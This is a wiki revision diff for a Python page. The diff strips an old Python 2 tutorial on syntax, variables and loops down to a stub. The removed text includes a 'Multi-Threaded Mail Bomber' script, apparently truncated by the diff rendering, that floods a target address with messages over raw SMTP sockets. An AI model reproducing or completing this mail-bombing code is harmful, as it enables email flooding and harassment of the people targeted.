tools:python
Differences
This shows you the differences between two versions of the page.
Both sides previous revisionPrevious revision | |||
tools:python [2024/08/06 05:48] – external edit 127.0.0.1 | tools:python [2024/10/01 02:43] (current) – AspHunter | ||
---|---|---|---|
Line 1: | Line 1: | ||
- | {{wst>iw-cleanup}} | + | {{wst>fix-stub}} |
====== Python ====== | ====== Python ====== | ||
- | Below applies to Python 2.6 or lower, Python 3 is a good bit different. | + | //stub page for **Python |
- | + | ||
- | Python is an object oriented, interpreted language. It is unique in that it requires a user to indent in place of using curly brackets ({..}). | + | |
- | + | ||
- | Note: that most *nix distributions come with Python by default. | + | |
- | + | ||
- | ===== Basics ===== | + | |
- | + | ||
- | //Basic// python syntax | + | |
- | + | ||
- | ==== Hello World! ==== | + | |
- | + | ||
- | >>> | + | |
- | HELLO WORLD! | + | |
- | + | ||
- | ==== Variables ==== | + | |
- | + | ||
- | Variable names DO NOT need to begin with a special character, unlike PHP. Variable names CAN, however, be any combination, | + | |
- | + | ||
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | [' | + | |
- | >>> | + | |
- | ' | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | 3.528 | + | |
- | >>> | + | |
- | 3 | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | <type ' | + | |
- | >>> | + | |
- | >>> | + | |
- | <type ' | + | |
- | >>> | + | |
- | >>> | + | |
- | + | ||
- | ===== Statements ===== | + | |
- | + | ||
- | ==== Comparison ==== | + | |
- | + | ||
- | < Less than | + | |
- | > | + | |
- | == Equal to | + | |
- | != Not equal | + | |
- | is Identical | + | |
- | is not Not identical | + | |
- | <= Less than or equal to | + | |
- | >= Greater than or equal to | + | |
- | + | ||
- | === If === | + | |
- | + | ||
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | print " | + | |
- | + | ||
- | + | ||
- | No! | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | print " | + | |
- | + | ||
- | + | ||
- | Yes! | + | |
- | >>> | + | |
- | >>> | + | |
- | >>> | + | |
- | print " | + | |
- | + | ||
- | + | ||
- | Yes! | + | |
- | + | ||
- | ==== Loops ==== | + | |
- | + | ||
- | === While === | + | |
- | + | ||
- | >>> | + | |
- | >>> | + | |
- | print a | + | |
- | a += 1; | + | |
- | + | ||
- | 1 | + | |
- | 2 | + | |
- | 3 | + | |
- | 4 | + | |
- | >>> | + | |
- | >>> | + | |
- | print " | + | |
- | a = True; | + | |
- | + | ||
- | + | ||
- | False | + | |
- | + | ||
- | === For === | + | |
- | + | ||
- | >>> | + | |
- | print x | + | |
- | + | ||
- | + | ||
- | 0 | + | |
- | 1 | + | |
- | 2 | + | |
- | | + | |
- | 4 | + | |
- | 5 | + | |
- | 6 | + | |
- | 7 | + | |
- | 8 | + | |
- | 9 | + | |
- | + | ||
- | //Consider using xrange when dealing with larger lists, as it creates an iterator, rather than constructing the full list in memory.// | + | |
- | + | ||
- | >>> | + | |
- | print x | + | |
- | + | ||
- | + | ||
- | Hello | + | |
- | world | + | |
- | ,this | + | |
- | is | + | |
- | a | + | |
- | list | + | |
- | + | ||
- | ===== Examples ===== | + | |
- | + | ||
- | ==== Multi-Threaded Mail Bomber ==== | + | |
- | + | ||
- | < | + | |
- | #CREATED BY: DUMP | + | |
- | #MULTI THREADING ALLOWS FOR A CLASS TO BE RUN MULTIPLE TIMES AT ONCE. | + | |
- | #INCLUDES SMTP ENGINE, AND MAIL HEADER GEN. THAT FOLLOWS RFC STARDARDS | + | |
- | import socket, datetime, time, threading; | + | |
- | class MailGen(): | + | |
- | def Engine(self, | + | |
- | self.lf = " | + | |
- | return "From: \"" | + | |
- | class MailBomb(threading.Thread): | + | |
- | def __init__(self, | + | |
- | self.To = To; | + | |
- | self.From = From; | + | |
- | self.Data = Data; | + | |
- | threading.Thread.__init__ ( self ) | + | |
- | def run(self): | + | |
- | print " | + | |
- | self.lf = " | + | |
- | self.connection = socket.socket(socket.AF_INET, | + | |
- | self.connection.connect((self.To[self.To.index(" | + | |
- | self.connection.send(" | + | |
- | self.connection.send(" | + | |
- | self.connection.send(" | + | |
- | self.connection.send(" | + | |
- | for line in self.Data: self.connection.send(line); | + | |
- | self.connection.send(self.lf+self.lf+" | + | |
- | self.connection.send(" | + | |
- | address1 = raw_input(" | + | |
- | address2 = raw_input(" | + | |
- | data1 = raw_input(" | + | |
- | data2 = raw_input(" | + | |
- | generator = MailGen(); | + | |
- | message = generator.Engine(address1, | + | |
- | multiply = int(raw_input(" | + | |
- | lists = [address1]*multiply; | + | |
- | for a in range(0, multiply, 5): | + | |
- | for b in range(a, a+5): | + | |
- | MailBomb(lists[b], | + | |
- | time.sleep(.50); | + | |
- | </ | + | |
- | + | ||
- | ===== Modules ===== | + | |
- | + | ||
- | ==== Scapy ==== | + | |
- | + | ||
- | Scapy is a powerful, low-level, networking tool | + | |
- | + | ||
- | ==== DPKT ==== | + | |
- | + | ||
- | fast, simple packet creation / parsing, with definitions for the basic TCP/IP protocols. | + | |
- | + | ||
- | ==== Twisted ==== | + | |
- | + | ||
- | [[http:// | + | |
- | + | ||
- | ==== Tornado Web ==== | + | |
- | + | ||
- | [[http:// | + | |
- | + | ||
- | ===== Links ===== | + | |
- | + | ||
- | [[http:// | + | |
- | + | ||
- | [[http://www.python.org/ | + | |
{{tag> | {{tag> |
tools/python.1722923282.txt.gz · Last modified: 2024/08/06 05:48 by 127.0.0.1
Find this page online at: https://bestpoint.institute/tools/python
Find this page online at: https://bestpoint.institute/tools/python